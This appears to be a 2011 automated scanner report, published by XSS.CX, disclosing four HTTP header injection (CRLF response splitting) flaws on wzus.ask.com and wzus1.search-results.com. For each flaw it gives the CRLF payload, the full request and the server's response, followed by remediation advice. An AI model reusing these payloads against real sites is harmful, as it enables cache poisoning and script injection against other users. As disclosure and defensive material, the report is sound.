CWE-113, DORK Report for March 20, 2011, CRLF, 0x20, Response Splitting, Header Injection

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by XSS.CX at Thu Mar 24 06:58:58 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

1. HTTP header injection

1.1. http://wzus.ask.com/r [name of an arbitrarily supplied request parameter]

1.2. http://wzus.ask.com/r [u parameter]

1.3. http://wzus1.search-results.com/i/i.gif [REST URL parameter 1]

1.4. http://wzus1.search-results.com/i/i.gif [REST URL parameter 2]


1. HTTP header injection
There are 4 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://wzus.ask.com/r [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wzus.ask.com
Path:   /r

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 6d697%0d%0a9f0ad2dfc95 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /r?t=a&d=us&s=a&c=sttc&ti=1&ai=43876&u=http%3A%2F%2Fabout.ask.com%2Fen%2Fdocs%2Fabout%2Fcontact_us.shtml&6d697%0d%0a9f0ad2dfc95=1 HTTP/1.1
Host: wzus.ask.com
Proxy-Connection: keep-alive
Referer: http://about.ask.com/en/docs/about/webmasters.shtml
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 16:03:15 GMT
Location: http://about.ask.com/en/docs/about/contact_us.shtml&6d697
9f0ad2dfc95=1
Content-Length: 260
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://about.ask.com/en/docs/about/contact_us.s
...[SNIP]...
1.2. http://wzus.ask.com/r [u parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wzus.ask.com
Path:   /r

Issue detail

The value of the u request parameter is copied into the Location response header. The payload 89763%0d%0a84e406bda80 was submitted in the u parameter. This caused a response containing an injected HTTP header.

Request

GET /r?t=a&d=us&s=a&c=sttc&ti=1&ai=43876&u=http%3A%2F%2Fabout.ask.com%2Fen%2Fdocs%2Fabout%2Fcontact_us.shtml89763%0d%0a84e406bda80 HTTP/1.1
Host: wzus.ask.com
Proxy-Connection: keep-alive
Referer: http://about.ask.com/en/docs/about/webmasters.shtml
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 16:03:14 GMT
Location: http://about.ask.com/en/docs/about/contact_us.shtml89763
84e406bda80
Content-Length: 253
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://about.ask.com/en/docs/about/contact_us.s
...[SNIP]...
1.3. http://wzus1.search-results.com/i/i.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wzus1.search-results.com
Path:   /i/i.gif

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload e127d%0d%0a2f61a717043 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /e127d%0d%0a2f61a717043/i.gif?t=v&d=apn&s=zdo&c=h&l=dir&o=15621&sv=0a5c423a&p=homepage&ord=2455809 HTTP/1.1
Host: wzus1.search-results.com
Proxy-Connection: keep-alive
Referer: http://www.search-results.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: locale=en_US; accepting=1; qh=1-; qc=0; user=l=dir

Response

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 16:26:02 GMT
Set-Cookie: wz_uid=0540D58D81CBD79FA0A8DECE14D761F3; path=/; expires=Thu, 21-Mar-2013 16:26:02 GMT; domain=.search-results.com
Set-Cookie: wz_sid=0F4AD58689CBD79FA0A8DECE14D761F3; path=/; expires=Tue, 22-Mar-2011 16:56:02 GMT; domain=.search-results.com
Set-Cookie: wz_scnt=1; path=/; expires=Thu, 21-Mar-2013 16:26:02 GMT; domain=.search-results.com
Location: http://wzus1.search-results.com/e127d
2f61a717043/i.gif?t=S&d=apn&s=zdo&c=h&l=dir&o=15621&sv=0a5c423a&p=homepage&ord=2455809&wz_uid=1&wz_sid=1&wz_aid=0&uid=0&sid=0&aid=0&askeraser=0&scnt=0&wz_tid=0&
Content-Length: 455
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://wzus1.search-results.com/e127d
2f61a717
...[SNIP]...
1.4. http://wzus1.search-results.com/i/i.gif [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://wzus1.search-results.com
Path:   /i/i.gif

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 2acb8%0d%0a5daa061daeb was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /i/2acb8%0d%0a5daa061daeb?t=v&d=apn&s=zdo&c=h&l=dir&o=15621&sv=0a5c423a&p=homepage&ord=2455809 HTTP/1.1
Host: wzus1.search-results.com
Proxy-Connection: keep-alive
Referer: http://www.search-results.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: locale=en_US; accepting=1; qh=1-; qc=0; user=l=dir

Response

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 16:26:02 GMT
Set-Cookie: wz_uid=0C45D38680CCD39FA0A8DECE14D761F3; path=/; expires=Thu, 21-Mar-2013 16:26:02 GMT; domain=.search-results.com
Set-Cookie: wz_sid=024ED88C84CCD39FA0A8DECE14D761F3; path=/; expires=Tue, 22-Mar-2011 16:56:02 GMT; domain=.search-results.com
Set-Cookie: wz_scnt=1; path=/; expires=Thu, 21-Mar-2013 16:26:02 GMT; domain=.search-results.com
Location: http://wzus1.search-results.com/i/2acb8
5daa061daeb?t=S&d=apn&s=zdo&c=h&l=dir&o=15621&sv=0a5c423a&p=homepage&ord=2455809&wz_uid=1&wz_sid=1&wz_aid=0&uid=0&sid=0&aid=0&askeraser=0&scnt=0&wz_tid=0&
Content-Length: 451
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://wzus1.search-results.com/i/2acb8
5daa06
...[SNIP]...
Report generated by XSS.CX at Thu Mar 24 06:58:58 CDT 2011.